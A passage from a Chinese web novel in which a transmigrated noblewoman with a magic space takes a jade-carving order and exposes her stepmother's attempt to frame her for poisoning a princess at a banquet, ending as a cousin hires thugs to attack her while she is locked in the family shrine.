为首贵女正是被席菱歌盯上的大客户,她身穿冰丝蝉衣,眉清目秀,唇红齿白,一举一动带着难以言喻的优雅贵气。 行动间,不经意间露出晧腕处的帝王绿翡翠手镯,可见财力雄厚。 席菱歌盯着眼前金光灿灿的面板,笑容呆滞一瞬,眼都红了。 【帝王绿翡翠手镯(金)】 【品质:完美】 【出售价格:500金币】 【冰丝蝉衣(金)】 【品质:完美】 【出售价格:1000金币】 【萦金凤凰钗(金)】 【品质:完美】 【出售价格:1000金币】 可恶,也没人说贵女这般有钱! 光是首饰玉镯价值两千枚金币。 要是能接下这笔大单子,拿到定金,她立马分分钟开启空间新功能,距离回乡下当个富婆的愿望越来越近。 席菱歌声音沉沉:“贵女,此事可详谈,请稍等片刻。” 曲颖点头,算作应下,她食指与大拇指不自觉摩挲着,眉宇萦绕着一丝紧促之意。 就不知道眼前这人是否可靠,手底下的工匠能否雕琢一块顶尖好玉。 这可事关祖母八十大寿,若是搞砸了,她饶不了她! 席菱歌望了一圈,瞧见其余贵女蠢蠢欲动,不由得扯开了嘴角的笑意。 “诸位不如好好思索几炷香时间,近日府中工匠有难事,急需金银,平日里不会轻易出手,若是雕琢一块好玉,动辄需千百两银子方能请动。” “但今日,只需五十两银子便可雕琢一次,但雕琢的模样不定,全凭工匠根据玉的好坏判断。” “若是顶尖的好玉,需要的手工费更加昂贵。” 一番话出来,不少人陷入思索。 席菱歌没等,悄然走至一旁,同尚雅雅说着悄悄话。 她轻拍尚雅雅肩膀,凑近道:“多谢雅雅,等事情结束,我请你去曲香楼吃饭。” 尚雅雅仰着头躲过席菱歌凑过来的脸,红了耳垂,佯怒道:“少贫嘴,这位可是曲丞相那一脉的贵女,来自古晋曲氏,家族实力雄厚。” “要是哄骗了对方,你吃不了兜着走,届时也会牵连到我的身上。” 她话说的重,席菱歌却心底涌起一股暖流,眼含热意,默默把此事记在心中。 等发达了,绝不会忘记尚雅雅的恩情。 曲颖眉宇间萦绕一股郁气,忍了又忍,没有发作,瞧见席菱歌过来,她带着点匆忙,开口询问道:“席小姐,不知上好的帝王绿翡翠能否请得工匠雕琢?” “自然能。”席菱歌笑眯眯道:“无论是什么种水的玉石,我手底下的人都能雕琢。” 要是无法雕琢,初级琢玉功能不够,她就砸金币升级,加大力度,升到中级,中级不够就升到高级。 反正无论如何都不能得了眼前人的反感,要是这次合作没问题。 曲氏贵女就是她以后坚固的合作对象,等吹捧出来招牌,名声效应的影响下,一茬又一茬的韭菜正在向她迎风招展。 席菱歌不由得擦了擦嘴角。 韭菜割了还能继续涨。 她目光灼灼地拍了拍胸脯,“我敢保证,若是毁了你的玉,我会赔上同等价值的玉石来,绝对不低于送给永安王妃的品质。” 曲颖将信将疑,目光扫了一眼尚雅雅,随后道:“如此,那便信你一回。我也相信,户部尚书家的嫡女,不会白白拿名声来做保障。” 两人商量好了交易的时间地点。 曲颖指名道姓要雕琢出符合八十大寿的玉,不能雕琢成奇形怪状的模样。 席菱歌连连答应,这可是第一单,第一单的榜样做好了,就有源源不断的韭菜送上前来。 无论如何,她亏本也要把玉石雕琢好! 商讨完结束后,曲颖拍拍手,同身旁侍女说了一句,侍女离开宴会,片刻后捧着木盒过来。 “这是定金。” 木盒被放置席菱歌掌心。 曲颖道:“里面有五百两银票,事成之后,再给你一千两。” 一瞬间,席菱歌呼吸急促几分,差点没平复心情。 按照穿越前的货币计算,一两银子等于186.6元,五百两等于93300元,一千两等于186600元,一共加起来一千五百两,折换成现代货币,就是279900元。 如果她没穿越,说不定凭借这一手酬劳,早就暴富了! 偏偏,她席菱歌穿越了! 好巧不巧穿到人命如草芥的古代,要不是原身骑马失血过多而死,恰巧让她穿进了壳子,她还不知道在哪里艰难求生。 没有身份背景户籍的百姓,一律被当做流民,吃不饱穿不暖,甚至得不到如今像样的金手指。 想到这点,席菱歌心中窒息,暗自平复心情。 不行,她得一步步来,得苟着安排好一切,不让人看出任何端倪。 更不会让人知道,是她暗中掏空了家产。 若是让渣爹继娘知晓,肯定过不了安生日子,席府的人,一个个都不是好相与的角色。 等回过神,席菱歌答应的那叫一个坚定铿锵,“好,这笔单子我接下了,一定给你一个满意的结果!” 连带着小巧的木盒被她贴身放在胸口,谁都不能撼动。 第16章永安王妃中毒了? 里面装的不是她的小钱钱,是她的命根子! 兴许是席菱歌财迷的模样过于显眼,曲颖轻笑出声,便领着侍女走远。 “明日,玉石会送到席府。席小姐,给你七日时间,希望你七日内能够尽快把东西送到席府,若有人阻拦,届时报我的名字。” “我叫曲颖。” 席菱歌目送着大顾客的背影离开,那叫个依依不舍,就差黏成丝了。 其余贵女面面相觑,先前大部分人呈现观望态度,见曲颖一走,几位贵女犹豫上前,谈论起生意。 她们手上有些许好玉残料,想雕刻玉石,但精通雕琢手艺的工匠价格不低,又属实难求,要么是早就投靠了别的世家,要么进了皇宫。 以她们的身份接触不到再好的工匠。 一听尚雅雅介绍就跟了过来,再加上曲颖下手快,让几人下定决心,跟席菱歌约定好后,付了定金。 定金是十两银子,尾款四十两银子。 明日送玉石到席府,但她们不急一时,日期订到了半月以后。 几人不敢跟曲颖抢,万一工匠雕刻失败了,怕曲颖迁怒,把怒气撒到她们身上。 毕竟古晋曲家不是好相与的。 不过片刻,看热闹的贵女一哄而散。 尚雅雅揣着木盒离开,盒中放着一根玉石雕琢的发簪,簪头雕刻成桃花的形状,栩栩如生,通体透明般的荧绿玉光在阳光下闪耀。 她爱不释手,心底的知味少了几分。 离开前,尚雅雅特地道:“菱歌,小心些。” 她惦记着柳依依看向席菱歌的眼神,不像是看姐妹的眼神,倒像是看仇人般,阴狠如毒蛇,时时刻刻发出嘶嘶的阴冷声。 席菱歌揣着银子,谨慎点头,把这件事记在心上,等她闲下来准备找块地方休息。 周围不知何时热闹起来,女眷们发出此起彼伏的声响。 原来是慕池不知何时换了一身白色锦衣出来,无辜下垂的狗狗眼看谁都深情,他从怀中捞出一把扇子,扇呀扇着,把自己扇到了席菱歌身边。 慕池声音低沉,一边摇着扇子,一边朝她咬着耳朵,“菱歌,我好看吗?” 他像只花枝招展的孔雀,不断开屏吸引雌性的注意力。 席菱歌掌心的银子都揣热了,难得的好心情,随口应道:“好看好看,你最好看。” 她站起身,准备换个地方抚摸她的小钱钱,如何把钱用到刀刃,完美完成雕琢玉石的订单。 这些都在她思索的范畴内,如果不出她所料的话,自己亲娘留下来的家产被有一部分被渣爹藏在库房里,大部分被自己渣爹自己藏了起来。 等百花宴事后,她升级空间,得找个好时机,悄悄翻进去,全都一收而空。 一旁的慕池像是感受到了席菱歌的敷衍,摇着扇子的频率快了些,微凉的风吹到她的额角。 “菱歌。”两个字特地咬出来,带着缠绵的意味。 席菱歌回头一望,恰巧撞进他清凌凌的黑眸之中。 下一秒,一道身影从身侧跌过来,比起人先到的是柔弱的声线,带着极度的委屈。 “姐姐——” 柳依依踉跄几步,哭诉着道:“那木盒呈现上去的首饰,不是府中给你奉上的东西!” “你犯了错,犯了天大的错!” 她惊慌失措的神情加上有意引导的话语,瞬间引起了周围的注意。 当无数个目光投射而来,落到三人身上,众人有一瞬间的诧异,又带着几分了然。 永安王府世子不愧赋有草包之名,百花宴这种时刻,居然想着如何把温香软玉拥入怀中。 自古英雄难过美人关,席府双姝容颜极盛,确实艳丽非凡。 寻常英雄气概的男儿都抵御不住,更何况一介草包,想要两人收入囊中属实是在正常不过的事。 那些目光瞬间变得暧昧起来,又带着隐隐的鄙夷不屑。 说到底,永安王府没落到现在的地步,和慕池这个草包离不开关系。 席菱歌倒显得十分淡定,“我哪里犯错了?” 要不是在交上去前,她偷偷打开过柳依依递过来的木盒,说不定真要被这句话扰乱心神。 她嗤笑不已。 也不知道是故意的,还是有意的。 那木盒中装着的是一支银簪。 十分常见且普通的银簪,若是赠与寻常人家,指不定是天大的喜事,可放在百花宴会上,确实再寒酸不过的赠礼。 寒酸到让人有些拿不出手。 柳玉莎、柳依依二人算计与她,想让她在百花宴当众出丑,计谋太粗浅了些,她倒是更期待接下来两人的手段。 毕竟,谁让她们二人都不是省油的灯,计谋一套连着一套,不然当初怎么会把原主算计得下乡,连婚约都转移了。 原主过得这般蹉跎,跟二人可脱不了关系。 果不其然,下一秒,有人大喊道:“永安王妃中毒了!” 一句话引起人群的骚乱。 第17章这样才有挑战性 谁不知道今日百花宴的份量,哪怕邀请的都是各府的女眷。 可百花宴的盛名程度,相当于一个投名状。 永安王妃出事,在人群中掀起了轩然大波。 柳依依脸色更加惨白,哆嗦着嘴唇,身体轻轻颤抖,“姐姐,是你……” 短短一句话,戒备的目光扫视过来。 是慕池。 “你这话什么意思?”席菱歌一点不慌,她不背这锅,“你是想说,是我当着众人的面下的毒,你莫不是把大家都当做傻子?” 柳依依擦拭眼泪,哭唧唧道:“姐姐,我、我不是这个意思。” “是你呈上去的东西,我和娘亲并不知晓,再加上永安王妃中毒,兴许,其中有什么关联。” 席菱歌翻了个白眼。 能有什么关联。 一看还不是这两人给下的绊子,目的为了什么,可想而知。 慕池眼眸稍暗,睨了柳依依一眼。 有胆。 敢在百花宴算计,当永安王府是好欺辱的吗? 他舔舐着虎牙,放下孔雀开屏的求偶姿态,脚步不停,走向事发地。 到时,永安王妃正瘫软在贵妃椅,双目紧闭,额头冒出细密的汗珠。 身后的大丫鬟雨晴伸出双手,轻柔的揉捏着永安王妃的太阳穴。 事发突然,又处于城外避暑山庄,太医来得稍慢。 雨晴退后几步,惶恐道:“世子,太医正在赶来的路上。” “宴会这段时间,王妃未曾进食过任何东西,不知是何时中的毒?” “曾触碰过什么?” “未曾触碰……啊,王妃唯一触碰的东西,倒是席府小姐递过来的首饰,以及那一盒八珍糕。” “把八珍糕带下去检验。”慕池眸光冷下来,“那盒首饰也派人测测。” 随后跟过来的柳依依,嘴角闪过一丝得意的笑。 她要席菱歌众叛亲离,要席菱歌污名缠身! 谁也不再相信她! 届时她的婚约,她的玉佩,她的嫁妆,通通都是自己的。 在众人吃惊的时刻,柳依依瞬间低头,掩藏眼底闪烁的阴毒光芒。 再抬眸时,她一脸柔弱无辜的模样,颇为吃惊道:“姐姐,难道真是你给王妃下毒了?” 说出来的瞬间,柳依依意识到自己说错了,连忙捂住嘴,不再说话。 这番话被有心之人听了过去,若有所思起来。 “说到底,真有这种可能。” “席府大小姐,名头倒是好听,偏偏做事愚钝蠢笨,简直和永安王府犯冲!” “那可不是嘛,一周前当街撞飞了永安世子,今日就敢给永安王妃下毒,我看呐,说不定是怀恨在心呢。” 人群中有声音传来。 柳玉莎变了嗓音,同身边交好的妇人一唱一和。 柳依依听闻,疯狂摇头,声音细如蚊吟,“不,才不是。姐姐才不会这样做,她只是不满婚事,讨厌世子是个草包而已。” 席菱歌站在一侧,感觉周围的视线阴恻恻的朝她投射过来。 就连慕池都转过来看她。 雨晴神色不善,放下双手,质问道:“是你给王妃下的毒?” 席菱歌暗地啧了一声,她就说,事情没这么简单,感情在这里等着她。 不过,这样才有挑战性。 第18章这就是她的证据 总比先前拙劣的伎俩好。 席菱歌弯了弯嘴角,抚了抚手指,一巴掌扇过去。 她动作迅疾如风,几乎是一瞬间,清脆的巴掌声响起。 柳依依捂着脸,没反应过来,左脸脸颊火辣辣的痛楚让她瞳孔闪烁,恨意迸发而出,又很快隐藏起来。 她柔弱无依,顺势摔倒在地,表情何其无辜,“姐姐,何故打我?” 席菱歌倨傲地扬起下巴,半分不像演的,“污蔑我下毒,有证据吗?” 她缓步走过去,声音轻柔中透露几分狠辣,居高临下道:“依依,你不乖,证据都没有,就敢泼脏水,亏得我们以姐妹相称。” 柳依依被恶心得够呛,心下厌恶道:姐妹相称? 席菱歌在席府早就被架空,她一没财富,二没势力,也配和她当姐妹?当下人还差不多! 她嫁妆早就被爹娘联手掏空,哪来的自信说这番话。 娘说的没错,席菱歌自从当街纵马之后,胆子果真肥了,必定得给一个狠狠的惩罚。 届时大夫来了,人证物证俱在,她就不信,席菱歌还能保得住曲氏留下来的婚事! 柳依依垂眸,时不时抽泣几声,不再言语。 席菱歌背过身去,一身正气,字正腔圆道:“我席菱歌行得正坐得端,不怕这等无妄之灾!” “若是怀疑我,就拿着证据出来,证明给大家看,这件事究竟是不是我做的。” “难不成我真有这般厉害,能隔永安王妃千里之外,暗中加害?” 她说得在理,一番话下来,倒是稳定了惶惶不安的人心。 众多妇人不再因此事惊恐,反倒是看向慕池。 永安王妃昏迷不醒,世子在此,亦能主持大局。 席府的人吵闹起来,打的是永安王府的脸。 此时慕池的态度最为重要。 就看永安王世子如何应付中毒之事。 慕池眸色极其暗沉,随后微微一笑,漆黑的眼眸如春水般融化,徒留一圈荡漾的柔色。 他上前几步,执起席菱歌的手,直言道:“菱歌是我未过门的娘子,亦是永安王府未来的女主人,事情未曾经过验证,何来下毒一说?” “本世子已经派人去请宫中的太医,等诊断后再谈此事。” 慕池妥妥一副醉倒美人怀的模样,在场女眷们看得皱眉。 不愧是草包世子,永安王妃中毒昏迷,他第一件事居然是安慰美人,为其遮风挡雨,连自己的亲娘都不管不顾了! 众人哽住无言,只得等候宫中太医前来,再言其他。 她们投奔永安王府门下,属实是世道混乱,京城更乃是非之地,能够有大权护住的世家少之又少。 不过半个时辰,太医步履匆匆,背着行囊前来。 太医先行礼,道了一声得罪,便把手搭在永安王妃的手腕,探查脉象,眉眼瞬间皱起。 “王妃确实是中毒了,但这毒不重,仅仅只是昏迷半日,食欲不振。” 另一侧,雨晴拿着糕点盒子过来,里面摆放着整整齐齐的桂花糕,其中一块被动过。 “王妃昏迷前只碰过这盒八珍糕,还请太医检验,测测其中有没有毒。” 这句话意有所指。 雨晴狠狠敌视地瞪着席菱歌,对她不满至极。 前后王妃只接触过席菱歌带来的东西,她连世子都敢撞,有什么是她做不出来的! 席菱歌被瞪得莫名其妙。 都看她作甚,她啥也没干! 太医依言检测一番,捻起银针测毒,半炷香时间不到,银针顶端染上漆黑的颜色。 周围人脸色微变。 柳依依眼底涌起一分得意,她倒是要看席菱歌如何身败名裂。 百花宴公然向永安王妃下毒,这场婚事必然得告吹! 雨晴率先开口,语气不善,矛头直指席菱歌。 “大胆,你居然敢真向王妃下毒!亏得王妃如此信任你,把你当做亲闺女对待,你便是这样回报王妃的?” 围在外面大部分都是女眷,听到这话窃窃私语起来,大部分都是说席府的。 柳玉莎赫然在其中,她忍不下去,直接跳出来指着席菱歌的鼻子,骂道:“菱歌,休要胡闹!” “今日你本就做错了事,居敢胆大包天朝王妃下毒。太医在此,说的话岂会有错?” “你被指认出来,还不快些把解药拿出来,等王妃醒后,跟王妃磕头认错。” 席菱歌看了她一眼,笑出声道:“后娘,毒可不是我下的。” “这毒是谁下的,难道不是你和继妹心知肚明的事吗?” 她演都懒得演,懒懒抬起眼皮,直接点明事情的关键。 “席府的礼都是你整理的,八珍糕是府中准备,上了礼簿,证据确凿,就连你让妹妹给予的唯一的值钱物件是根破银钗子。” 柳玉莎脸色一僵,向来伶俐的嘴巴居然在此刻哆嗦得说不出话。 她心中掀起滔天巨浪。 席菱歌这个小贱蹄子怎么变得如此牙尖嘴利! 莫非真的是撞了脑袋,脑子清醒了,居然能看破她们的阴谋,说出这番话。 柳玉莎确实存了让席菱歌难堪的心思,哪知道她居然拿出翡翠首饰,博得永安王妃欢心。 绝对不能让小贱蹄子翻身,不然依依的婚事怎么办? 她还指望着依依替了婚事,成功嫁入永安王府,成为王府女主人! 柳玉莎咬牙,看了周围的人一圈,声音缓了下来: “菱歌,娘也是为你好,做错了事,就该受罚,不然王法何在?娘知你不喜世子,更厌恶永安王府,但没想到你这种时刻你都不忘颠倒黑白。” “颠倒黑白的是我?是你们才对。” “亏席府生养你这么多年,你要是有点良心就把解药拿出来,省得王妃受折磨。” “我有证据证明不是我做的。” 所有人的目光扫视过来,透露着怀疑和隐隐的不信任。 唯独慕池微微一笑,站在她的身侧,露出两颗小虎牙,“菱歌,我相信你。” 人群中冒出一人,尚雅雅走上前,骄傲地昂起头,认真道:“我相信不是你做的!” “稍等片刻。” 席菱歌晃了一眼人群,随后走到一开始送礼的地方,把提笔写礼簿的小厮抓了起来,扯到众人面前。 她顺手把礼簿捞在自己怀中,把柳依依给的木盒呈现在众人眼前,“这就是证据。” 幸好留了一手,不然的话,真就跳进黄河都洗不清了。 第19章她的祸事,与席府无关 早在送礼的时候就看这小厮有问题。 能随手拿出八珍糕,要是没被收买,她第一个不信。 席菱歌翻开礼簿,指着席府那一页,同时展示木盒中的银钗。 “礼簿上白纸黑字写得清清楚楚,翡翠首饰是我自己带来的,而八珍糕和银钗是席府送的。” “要是不信,大可把银钗拿去检测。” 柳玉莎脸色一阵青一阵白,不太好看。 要是往日这般诬陷,席菱歌早就发怒,气得双目通红,把百花宴搞得一团糟。 今日怎的就变了。 柳玉莎心头涌起一阵不祥的预感。 果不其然,慕池下令,让御医检测银钗。 周围看热闹的贵妇纷纷后退一步,生怕惹火上身。 片刻后,太医检测结果出来。 “银钗和八珍糕的所属的毒素一样,并不伤及性命。” “翡翠首饰并未沾染半分毒素。” 一番话炸了个惊天响地。 雨晴立马跳出来,怒气冲冲道: “当着世子的面,你们都敢对王妃动手,你们席府不要命了?” “今日是下毒,那明日又是什么?要是王妃醒不过来,当心你们的小命。” 这是针对整个席府,无关个人。 柳依依脸色苍白,柔弱无助,她咬了咬唇,声音颤抖着祈求道:“姐姐,依依求你了。” 她扑通一声下跪,额头磕破皮。 “席府向来清廉,从不做这等腌臜事。姐姐,你要是记恨永安王府,不想和世子成婚,出此下策,我和娘亲都能理解你的心情。” “我愿以身代劳,替姐姐嫁进王府,可为何姐姐竟要朝王妃下毒,陷害整个席府,置席府于不仁不义之地。” 席菱歌暗自好笑。 话倒是说得冠冕堂皇,实际上颠倒黑白,强硬着让她把这个罪认下来。 她看上去像一个傻子吗? 人人都能来踩一脚。 “证据都摆出来了。” 席菱歌上前捏紧柳依依的下巴,强迫她抬头,语气慢条斯理,“妹妹,做错了事,就得承认,不然诬陷他人,小心死后下拔舌地狱。” 她轻拍柳依依的左脸颊,力道不轻不重,却极具侮辱感。 柳依依涨红了脸,“姐姐!” 席菱歌站直了身体,想诬陷她,没门儿! 死道友不死贫道。 她立马扭头道:“世子,请彻查此事,在众人面前袒露真相,还我一个清白,还席府一个清白。” “无论查出来的结果如何,我席菱歌都坦然接受,不介意大义灭亲,以儆效尤!” 这话说得敞亮,唬得周围人一愣一愣。 没想到席府嫡女还是个爱憎分明之人。 估计事情真不是她做的。 慕池弯了弯唇角,一副人畜无害的模样,“既然如此,那就彻查此事。” “来人,把小厮抓起来,当众严刑拷打。这条小命留不留得住,就看他什么时候招了。” 没等下人上前,写礼簿的小厮连忙下跪求饶,姿势比柳依依还熟练。 他涕泗横流,一边哭着求饶,一边把事情供了出来,包括自己受席府夫人指使,提前放好八珍糕等事。 小厮唯恐小命不保,一直说下毒的事他不知晓,他只是收了银子办事。 慕池眼眸黑沉一瞬,如今局势不安稳,没想到王府的下人会被收买。 窥一斑而知全豹,指不定王府被探子筛了个遍。 这还只是其中一人。 不知暗中多少人觊觎王府。 “既然人已指认,那就饶他一命。” 慕池挥挥手,让侍卫把小厮带下去,同一刻,他眸光一转,直直望向柳玉莎、柳依依二人,声音低沉,问道: “不知柳夫人对这件事作何解释?” 柳玉莎表情难看,眼见着事情败露,她神情闪过一丝惶恐,随后想到什么,话在口中一滞,语气从心虚变得理直气壮起来。 “世子,是有人栽赃陷害!” “席府和永安王府自从结亲后就是亲家,怎么可能胆大到用这种下三滥的手段,再者,八珍糕的毒素不至于害人命,仅仅让人昏迷半日,不像是谋害,倒像是某人的恶作剧。” “恶作剧?” “没错!”柳玉莎找借口开脱,咬死不承认是自己做的。 可周围看向她的目光越来越奇怪,众妇人眼底透露着几分疏离和怜悯。 证据确凿,却妄想开脱。 席府自从攀上高枝后,行事越发张狂,彻底飘了。 这下谁都知道事情是柳玉莎所做,众妇人没开口说话,暗自等待着世子的反应。 就连曲颖站姿端正了些,她今日代表的是曲府,得看看现在的永安王府值不值得投靠。 首当其冲第一点,那就是观察慕池的反应和处事,眼前的男人是未来的永安王,是堂堂世子爷,自当担起责任。 可万万没想到,慕池的态度温和,温和到几乎懦弱的程度,他说的话让所有人惊愕万分,甚至主动坐实了草包之名。 慕池唇角弯起好看的弧度,“既然柳夫人如此说,心里已经有了既定的人选,不妨一说。” 柳玉莎眸子一转,指向了席菱歌,“世子,自导自演的人是她,欺骗了你的人也是她,这一切都是她做的!” 席菱歌:“?” 人好端端坐着,锅从天上来,这也能怪到她的头上。 她分明已经把自己的嫌疑洗干净了,柳玉莎像一条虎视眈眈的鬣狗,恨不得从她身上撕下一块肉来。 慕池轻轻摇了摇头,“此事不是菱歌所为。” “既然事情已经发生,本世子便等席左侍郎亲自上门给永安王府一个交代。今日百花宴暂且中止。” “尽快把消息告诉席翰,让他尽快上前领走妻女。” 这一幕被暗中的人看了个彻底,迅速消失了身影,朝着皇宫的方向而去。 慕池眸光闪动,不再多言。 雨晴欲言又止,对此颇为不满。 “世子,这样做是否太过轻拿轻放?” 中毒的可是王妃。 明眼人都知道此事和席府脱不了干系,世子偏偏没任何表示。 席府如此行径,显然把王府的脸面踩在脚下。 而仅仅是让席左侍郎上门给个交代,惩罚太轻了。 慕池没有回复。 时间迅速流逝,消息传递过去,一个时辰不到,席翰身穿官袍,头戴乌纱帽,来到山庄门前。 他听闻消息,乘坐马车匆匆赶来,一路上心急如焚。 席翰到来第一件事,目光一扫,像是明白了什么。 “世子还请原谅,小女不懂事,做下此等祸事,决然与席府无关!” 第20章 被关宗祠 席翰猛地一把拽过席菱歌的手臂,让她老老实实跪下来道歉。 天知道他刚得知消息的时候多么绝望。 早知道前妻死的时候,该一并把这个小赔钱货带走! 如果不是碍于曲家,他早动手了,至于让人捅出这么大的篓子。 永安王府,那可是让老皇帝都忌惮不已的存在。 她怎么敢惹! 席翰一拉,没拉动,他使出吃奶的力气都没拉动,脸都涨红了,猛地一转头。 席菱歌纹丝不动地站在原地,一脸无辜,“爹,你扒拉我干什么,做错事的人又不是我。” 她慢悠悠地指着柳依依二人,“你该问问娘和妹妹,她们到底做了什么。” 席翰顶着一众目光,面皮抖了抖,低声呵斥:“到底发生了什么事!” 柳玉莎忙不迭道:“王妃中毒了,太医确诊,说是席府下的毒。” 席翰差点两眼一黑。 冤孽啊! 席菱歌啧啧几声,不忘插上一刀:“这是证据确凿,板上钉钉的事,人证物证俱在,爹,世子在等一个解释呢。” 她巴不得看热闹。 但看归看,谁对她好,谁对她坏,席菱歌心中有数。 慕池明晃晃袒护她,她自然得投桃报李。 席翰抬头望过去,慕池目光冷冰冰,一直停留在他身上。 几乎是感到一阵彻骨的寒意。 席翰咬了咬牙,反手扇了柳依依一巴掌,随后恭恭敬敬道:“恳求世子原谅,席某属实不知,小女竟做出这等错事。” 他扣着柳玉莎的头,往地面磕了一下,“念小女年纪尚幼,下毒仅仅是玩闹,没有伤及性命,不知世子可否饶小女一命。” 柳依依咬紧牙关,眼底蓄泪,哪怕被席翰提着下跪磕头,仍一声不吭,老老实实照做。 “老爷!”柳玉莎惊恐出声,眼底满是心疼。 席翰再不知这是一场算计,他就枉为人臣! 算计的人是他的枕边人,是他昔日里最疼爱的女儿。 仅仅是为了一个早该死去的小畜生大动干戈完全不值。 一想起前妻生前做的事,席翰忍不住握紧拳头,怒火中烧,硬生生打碎牙往下吞。 原以为席菱歌是个省事的,结果是个养不熟的小畜生。 当初就该活生生掐死! 人他定要送回乡下去,反正今日得知消息,曲家那老不死的活不长了,病入膏肓。 得罪了老皇帝,哪有常青树,曲家迟早得倒,届时永安王府也讨不了好! 席翰打定了主意,等此事一了,就送席菱歌去乡下,让她一辈子都回不到京城,省得看着心烦。 慕池勉为其难点头,“看在菱歌的份上,本世子不与席府计较。” 事毕,等永安王妃醒后,百花宴继续举行,整个避暑山庄呈现一片其乐融融的景象。 席翰自觉丢了脸,面皮薄,顶着一众嘲笑声,恨不得找个地缝钻进去。 柳玉莎更是以衣袖拂面,每当逢人便笑,哪知先前与其谈的正欢的女眷们避之不及,纷纷逃散开来。 柳依依额头顶着伤疤,溢出血迹,神色阴沉不少。 每当周围人提及痛楚,她对席菱歌的恨就多了几分。 直至夜色逐渐黑沉,炙热滚烫的热风逐渐冷却,变成清爽的夜风拂过脸颊。 众人才惊觉天黑了,百花宴结束。 山庄门口早就停留着各府的马车,人群如蜜蜂团一般溃散开,山庄做客的女眷们各自离开。 席翰也不例外,带着家眷打道回府。 在席菱歌离开前,慕池专程找了她一趟,塞了一袋沉甸甸的荷包过去。 他一声不吭,能言善道的那一面收敛起来,此时倒成了一个哑巴。 席菱歌没接,被慕池强硬地塞到手中。 片刻后,只见慕池羞答答道:“听闻你缺钱花,这些你拿着,不够的话,下次我再多给你点。” 他又趁机碰了碰席菱歌的手背,一双清凌凌的丹凤眼中闪着细碎的光,像池中波光粼粼的月光碎片。 “你是我未过门的妻子,是日后永安王府的女主人,这点不算什么。” “菱歌,你得到的只会更多,比你想象中的还要多。” 席菱歌接过荷包,暗自感动一番后,在道谢后,敷衍地点点头,趁机跑了。 穿越几日以来,对她好的人只有眼前这个未来便宜夫君。 彼之砒霜,我之蜜糖。 谁知道这是不是新型圈套。 席菱歌在接受新时代无数诈骗事件后,对其产生了抗性。 无数实践证明,恋爱中男人上头说出来的话信不得,但男人主动给的钱该咋花咋花。 她正巧可以当起始资金用。 慕池抚了抚嘴角,目光跟随席菱歌的背影,一刻不曾停歇,能骑马把他撞飞的未婚妻果真有趣。 等人走后。 避暑山庄瞬间空荡荡起来,余留下打扫的奴仆忙个不停。 永安王妃揉了揉太阳穴,神情疲惫,她端坐梨木高跷椅,指尖点了点扶手。 “今日本宫昏迷后发生的事,一一说给本宫听。” 雨晴一五一十说了出来,她神色愤愤,“世子的处理手段实在太温和了些,就这么轻而易举放过了席府的人,她们给王妃你下毒,简直罪不可赦!” 永安王妃听闻这件事,非但没有生气,反而笑出了声。 她连说三个好字,十分欣慰,“池儿也算长大了,懂得王府的不易。” 外人皆道永安王府日子好过,谁知不是烈火烹油。 老皇帝的监视越来越严重了。 今日百花宴是明晃晃的表明态度。 他们永安王府自成一派,从不站队。 老皇帝对王府的忌惮从来不少,哪怕上缴了兵权,仍然被视为眼中钉。 像今日来投奔的这些人,都是保持中立,不想成为被几大势力吞噬的小鱼小虾,只得来找永安王府的庇护。 她轻声呢喃:“也不算太亏。” 用一场中毒之计换取老皇帝戒心稍退。 …… 席翰等人回府后,第一件事便是把怒火发泄到席菱歌身上。 他冷下脸,唤来下人,紧紧皱着眉,怒气冲冲道:“还不快把大小姐关押到宗祠去!” “老爷,这次关押几日?” “三天三夜,谁都不许送饭过去!什么时候她想明白了,什么时候再通报给我。” 说罢,他看也不看,甩袖离去。 柳玉莎恶狠狠瞪了席菱歌一眼,“菱歌,亏我把你当做亲生女儿看待,你倒让依依替你背锅,这下你满意了吧!” 她甩下几句恶毒的话,句句扎人心窝子,又匆匆拉着柳依依的手去找大夫。 “依依,你的脸不会有事的,你别哭。” “娘,我的脸……” “娘一定会找医术最好的大夫来给你看病,别哭,娘心疼你。” 伴随着轻轻的抽泣声和安慰声,两人越走越远。 第21章她要所有人不敢再欺负她 席菱歌被两名壮硕的小厮押着前往宗祠。 乌云散开,月光照耀,白昼的月光一寸寸驱散了黑暗。 席菱歌抬头。 今日十五,难得的圆月,是个团圆的好日子。 可她永远回不去了。 唯一能做的便是向前走向前看,不能停歇不能停留,一旦停下,便会落入既定的结局。 在古代,她的这一重身份从来不是什么保护色,反倒是一块谁都能争抢的香饽饽。 席菱歌向前走。 记忆中前往宗祠的路,她熟的不能再熟。 每当有人犯错,受罚的都是席菱歌。 可以说,这么多年以来,席菱歌是宗祠的常客。 席菱歌脚步一迈,跨入大门。 随着门上锁的声音响起,一切尘埃落定,她上前搬走一块团蒲,来到柱子前,蹲坐下来,后背浅浅靠在长柱,等了半晌。 直到门外看守的小厮交谈声越来越远,席菱歌才拿着今日的收获,进入空间中。 刚进入空间,吸收到第一口灵气,瞬间让席菱歌心旷神怡。 她摸摸索索,把一袋沉甸甸的荷包、五十两银子和一张五百两的银票摆放出来。 席菱歌一手握着镰刀,凝神观看面前弹出来的面板。 【一袋装满银子的荷包:内装一百两纯度为百分之九十的白银,可换18枚金币。】 【纯度为百分之八十的五十两白银,可换8枚金币】 【暂且不支持银票兑换金币功能】 【总共能兑换26枚金币,是否兑换?】 席菱歌点了是,自身金币面板的数字跳动,数字瞬间从18飙升到44。 她坐拥44枚金币。 席菱歌收回视线,一点不急。 她提着一袋面粉,舀了一碗灵泉水来到灶炉旁,开启一键烹饪功能,做了碗面疙瘩汤吃。 热乎乎的面疙瘩汤下肚,一股暖流划过饥肠辘辘的胃。 整个人全身上下暖和起来。 席菱歌握着镰刀,在一键收割、一键种植小麦轮流交替,把小麦磨成了一袋袋面粉。 她没有着急开启新功能,所有的注意力集中在抵达100金币的里程碑成就上。 【下一个里程碑成就达成目标:100金币。】 【开启药田、药物种植、药炉等板块。】 无论在哪个时代,医术都是一项重要的技能。 她无比期待。 一天一夜过去,门被上了锁,席菱歌除去身体必备的进食,很少出入空间。 她耳朵一动,听到了门外悄然的动静声。 此刻,柳怀嬴正悄然带着两个壮汉靠近。 他眼底闪过一丝恶劣的光,想到等会儿会发生什么,心头就忍不住迸发出一阵阵快感。 昨日发生的事,柳怀嬴有所耳闻。 一想到依依姐美丽的脸被损坏,少了几分美感,他就忍不住生气,这一气就气了一夜。 柳怀嬴时常在外面混,今日专程雇了两个力气不菲的壮汉,为柳依依打抱不平。 “待会儿你们二人冲进去,里面有一个女人,你们随便做什么都可以,我给你们留半天的时间,保证事情发生后,能让你们全身而退,没人会发现是你们做的。” 